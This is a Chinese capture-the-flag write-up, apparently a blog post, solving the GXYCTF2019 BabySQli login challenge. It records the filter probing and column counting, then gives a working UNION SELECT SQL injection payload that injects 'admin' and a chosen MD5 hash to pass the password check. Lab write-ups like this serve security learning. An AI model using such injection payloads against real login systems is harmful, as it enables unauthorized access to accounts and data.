[GXYCTF2019]BabySQli 1
[GXYCTF2019]BabySQli 1
打开实例发现是个登录页,查看源代码未发现有效信息,admin登录,显示密码错误,发现参数name
和pw
查看源代码发现base
编码
解密发现是base32
+base64
混合编码,并发现解密后的SQL语句,判断注入点为username
select * from user where username = '$name'
尝试万能密码
显示do not hack me!
,怀疑是字符被过滤
order by判断字段数,为4显示异常,确认字段数为3
尝试输出数据库语句,经过测试确认括号被过滤
查看源代码,发现确实or = | ()都被过滤了,并且注意到
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
这边的arr就是字段的位置,所以就是需要字段的第三个位置填入密码和后面pw传递的参数的md5加密的字符串相等
ok,那直接MD5随便加密一个密码
e10adc3949ba59abbe56e057f20f883e
构造payload
name=' UNION SELECT 1,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456
获得flag
flag{fb83a3ca-f885-48e4-bfdc-8630bb78f837}
tips:这道题有个坑点,就是用hacker bar不行,我在hacker bar浪费了很长的时间
本文来自博客园,作者:TazmiDev,转载请注明原文链接:https://www.cnblogs.com/tazmi/p/18543496
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具